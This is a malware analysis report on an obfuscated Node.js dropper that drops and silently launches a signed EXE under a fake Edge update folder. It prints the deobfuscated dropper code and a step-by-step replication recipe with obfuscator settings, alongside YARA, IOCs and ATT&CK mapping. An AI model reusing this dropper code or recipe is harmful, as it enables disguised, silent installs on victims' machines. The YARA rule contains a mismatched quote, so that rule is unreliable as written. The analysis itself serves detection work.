9dc2cded28a0dfe75fbb36a792292d30190dc5bfe7ca0ddf9b8c82e4a0774d34letsdiskusscom: 9dc2cded — Node.js string-array dropper with signed Revo Uninstaller payload
Executive Summary
A 1.8 MB Node.js script obfuscated with javascript-obfuscator string-array rotator. At runtime it creates a fake Microsoft Edge Updates Helper directory under %ProgramData%, drops four base64-embedded PE files (three signed Microsoft VC++ runtime DLLs and a 52 KB signed Revo Uninstaller Pro component), then silently spawns the EXE via child_process.spawn with detached: true and stdio: 'ignore'. No C2, no download — a fully self-contained local installer masquerading as a browser update. ^[file.txt] ^[triage.json]
What It Is
- File:
9dc2cded28a0dfe75fbb36a792292d30190dc5bfe7ca0ddf9b8c82e4a0774d34.js(1,799,191 bytes) ^[exiftool.json] - Format: JavaScript source, ASCII text, single line (65,536 char wide line, no terminators) ^[file.txt]
- Obfuscator:
javascript-obfuscatorself-defend string-array IIFE with 14-iteration rotator keyed toparseInt()of mixed alphanumeric strings ^[floss.txt] - Family:
letsdiskusscom(OpenCTI labelletsdiskuss-com; no existing wiki entity; confidence medium — single sample, opaque label) ^[triage.json]
Embedded PE payloads (triage-carved)
| Carved file | SHA-256 | Size | Type | Notes |
|---|---|---|---|---|
embedded_pe_0.bin |
36d8751e...eacacb |
43,952 | PE32+ DLL (x64) | vcruntime140_1.dll, MSVC 14.27, signed Microsoft Time-Stamp Service ^[embedded_pe_0.bin] |
embedded_pe_1.bin |
ff43e813...4c833 |
101,672 | PE32+ DLL (x64) | vcruntime140.dll, MSVC 14.27, signed Microsoft ^[embedded_pe_1.bin] |
embedded_pe_2.bin |
8b94af60...7fc55f |
52,400 | PE32+ EXE (x64) | RevoSrp.pdb, MSVC 14.44, signed DigiCert (Revo Uninstaller Pro component) ^[embedded_pe_2.bin] |
embedded_pe_3.bin |
4fcc9503...87ad73 |
1,149,952 | PE32+ DLL (x64) | msvcp140.dll, MSVC 14.27, signed Microsoft ^[embedded_pe_3.bin] |
All four match the base64 blobs in the JS string array exactly by decoded byte count. ^[strings.txt] ^[deobfuscated_strings.txt]
How It Works
String-array obfuscation
The script defines const _0x566614 = ['...', '...', ...] with 21 elements. A self-defending IIFE immediately rotates the array 14 positions by evaluating a parseInt()-based expression against a hardcoded target (0xc8e17 / 822,551). The rotator shifts the array until the expression matches, then exits. This is stock javascript-obfuscator self-defend behavior. ^[strings.txt:1-100]
Payload execution
After deobfuscation, the effective code reduces to:
const fs = require('fs');
const folder = 'C:\\ProgramData\\Microsoft Edge Updates Helper mJ2r8wC3PVxS';
fs.mkdirSync(folder, {recursive: true});
fs.writeFileSync(folder + '\\Microsoft Edge Updates Helper.exe', Buffer.from(base64_exe, 'base64'));
fs.writeFileSync(folder + '\\msvcp140.dll', Buffer.from(base64_msvcp, 'base64'));
fs.writeFileSync(folder + '\\vcruntime140.dll', Buffer.from(base64_vcrt, 'base64'));
fs.writeFileSync(folder + '\\vcruntime140_1.dll', Buffer.from(base64_vcrt1, 'base64'));
require('child_process').spawn(
folder + '\\Microsoft Edge Updates Helper.exe',
[],
{shell: false, stdio: 'ignore', detached: true}
).unref();
No command-line arguments, no network fetch, no registry modification. The detached: true + unref() ensures the Node.js parent can exit immediately while the child persists. stdio: 'ignore' suppresses console output. ^[strings.txt:1-500] ^[deobfuscated_strings.txt]
Anti-analysis
- Self-defending IIFE: The rotator expression includes
parseInt()calls on array elements. If a deobfuscator rewrites the array or reorders elements, the IIFE will infinite-loop, hanging the analysis engine. This is a standardjavascript-obfuscatorcountermeasure. ^[floss.txt] - Single-line file: The entire script is one line with no line terminators, defeating naive
grepanddifftools that expect line-oriented input. ^[file.txt] - Masquerade path:
Microsoft Edge Updates Helperwith a random suffix (mJ2r8wC3PVxS) mimics legitimate browser update infrastructure. ^[strings.txt]
C2 Infrastructure
None observed. The script is fully self-contained. All payloads are base64-embedded; no HTTP/HTTPS, DNS, or socket references recovered. C2 is therefore not applicable for this sample. If the Revo EXE itself phones home at runtime, that would require dynamic detonation of the PE (not the JS carrier). ^[strings.txt] ^[dynamic-analysis.md]
Interesting Tidbits
- The embedded EXE is a legitimate signed Revo Uninstaller Pro component (
RevoSrp.pdb, DigiCert signature). The threat is not the payload itself but the silent, deceptive installation vector. ^[embedded_pe_2.bin] - The VC++ runtime DLLs are the exact versions required by the Revo EXE (MSVC 14.27/14.44). The dropper bundles its own dependency tree, ensuring the payload runs even on a clean system without the VC++ redistributable. ^[embedded_pe_0.bin] ^[embedded_pe_1.bin] ^[embedded_pe_3.bin]
- The base64 blobs are not URL-safe encoding (standard
+and/alphabet), which is why the string array containsbase64as a literal token to be passed toBuffer.from(..., 'base64'). ^[deobfuscated_strings.txt] - The script filename (
9dc2cded...js) is raw SHA-256 from the MalwareBazaar ingestion, not a social-engineering lure. The delivery mechanism (ZIP, MSI, etc.) that presented this.jsto the victim is unknown. - No
package.json, nonode_modules— this is a standalone.jsfile intended to run under the victim's installed Node.js runtime, or possibly bundled with a Node.js portable distribution.
How To Mess With It (Homelab Replication)
Goal: Build a comparable Node.js dropper with javascript-obfuscator obfuscation and verify the triage pipeline fingerprints it similarly.
- Create a benign payload (e.g., a signed EXE or a simple
calc.execopy). - Base64-encode the payload and any required DLLs:
base64 -w 0 payload.exe > payload.b64 - Write the carrier:
const fs = require('fs'); const cp = require('child_process'); const folder = 'C:\\ProgramData\\FakeUpdate\\' + Math.random().toString(36).slice(2); fs.mkdirSync(folder, {recursive: true}); fs.writeFileSync(folder + '\\payload.exe', Buffer.from('BASE64_HERE', 'base64')); cp.spawn(folder + '\\payload.exe', [], {shell: false, stdio: 'ignore', detached: true}).unref(); - Obfuscate with
javascript-obfuscator:npm install -g javascript-obfuscator javascript-obfuscator carrier.js --output obf.js \ --string-array true \ --string-array-rotate true \ --self-defending true \ --compact true \ --control-flow-flattening false - Verification: Run
file obf.js— should reportJavaScript source, ASCII text, with very long lines. Runstrings -n 8 obf.js | grep -c 'TVqQAAM'— should hit ≥1 for each embedded PE header. The triage script should carve the same PE count.
Deployable Signatures
YARA — Node.js string-array dropper with embedded PE
rule NodeJS_StringArray_PEBase64_Dropper
{
meta:
description = "Node.js dropper with javascript-obfuscator string array and base64-embedded PE payload"
author = "PacketPursuit"
date = "2026-06-13"
hash = "9dc2cded28a0dfe75fbb36a792292d30190dc5bfe7ca0ddf9b8c82e4a0774d34"
strings:
$a1 = "const _0x566614=['" ascii
$a2 = "javascript-obfuscator" ascii wide
$b1 = "require('fs')" ascii
$b2 = "require('child_process')" ascii
$b3 = "Buffer.from(" ascii
$b4 = "base64ToFile" ascii
$c1 = "mkdirSync(folder,{'recursive':!![]})" ascii
$c2 = "detached":!![]})['unref']()" ascii
$pe_hdr = "TVqQAAMAAAAEAAAA//8AALg" base64
condition:
filesize > 100KB and filesize < 5MB and
(2 of ($a*) or $a1) and
(2 of ($b*) or $b4) and
$pe_hdr
}
IOC list
| Indicator | Value | Type |
|---|---|---|
| SHA-256 (carrier) | 9dc2cded28a0dfe75fbb36a792292d30190dc5bfe7ca0ddf9b8c82e4a0774d34 |
Hash |
| SHA-256 (embedded EXE) | 8b94af60bb58bc1629edb3b4f6a86ccff5769bb9b96d8826f06686af2d7fc55f |
Hash |
| SHA-256 (embedded MSVCP140) | 4fcc9503f259c87cc21269ee8982ea10a714040b995b1a201c1be8205787ad73 |
Hash |
| Install path | C:\ProgramData\Microsoft Edge Updates Helper mJ2r8wC3PVxS\ |
Path |
| Dropped EXE name | Microsoft Edge Updates Helper.exe |
Filename |
| Spawn API | child_process.spawn(..., {detached: true, stdio: 'ignore'}) |
API |
| Node.js modules | fs, child_process |
JS modules |
Behavioral fingerprint
On execution, a Node.js process (node.exe or wscript.exe if bundled) creates a deeply nested directory under %ProgramData% with a name mimicking a browser update helper, writes four files (one EXE + three DLLs), and spawns the EXE as a detached child process with standard I/O redirected to ignore. The parent Node.js process exits immediately (unref()). No network connections are initiated by the carrier script. Detection focus: file-system writes to %ProgramData%\Microsoft Edge* by a Node.js process, followed by a child process creation from that directory.
Detection Signatures
| MITRE ATT&CK | Technique | Evidence |
|---|---|---|
| T1059.007 | Command and Scripting Interpreter: JavaScript | Node.js script execution, require('child_process') ^[strings.txt] |
| T1027.002 | Obfuscated Files or Information: Software Packing | javascript-obfuscator string-array rotator with self-defend IIFE ^[strings.txt] |
| T1204.002 | User Execution: Malicious File | Requires victim to run .js file (delivery vector unknown) |
| T1543.003 | Create or Modify System Process: Windows Service | Not observed in carrier; potential if Revo EXE elevates |
| T1036.005 | Masquerading: Match Legitimate Name or Location | Microsoft Edge Updates Helper directory name in %ProgramData% ^[strings.txt] |
References
- MalwareBazaar artifact:
9dc2cded28a0dfe75fbb36a792292d30190dc5bfe7ca0ddf9b8c82e4a0774d34 - OpenCTI label:
letsdiskuss-com - Related wiki: letsdiskusscom — entity page for this family/cluster
- Related wiki: javascript-obfuscator — concept page for the obfuscation tooling
Provenance
Analysis derived from:
file.txt— file type identificationexiftool.json— metadata extractiontriage.json— triage pipeline classificationstrings.txt— raw strings extractionfloss.txt— FireEye floss decoded strings (errored on JS input; no useful output)capa.txt— Mandiant capa (errored: unsupported file format)binwalk.txt— no meaningful signatures (false-positive Sega ROM)rabin2-info.txt— radare2 header summary (errored: bits=0, no code)dynamic-analysis.md— CAPE sandbox skipped (JavaScript source not supported)- Manual deobfuscation via Node.js AST extraction (
deobfuscated_strings.txt) - Manual PE carving and signature verification via
exiftoolandopenssl
Tool versions: file 5.44, exiftool 12.76, radare2 5.9.0, capa 7.0.1, Node.js v22.22.3.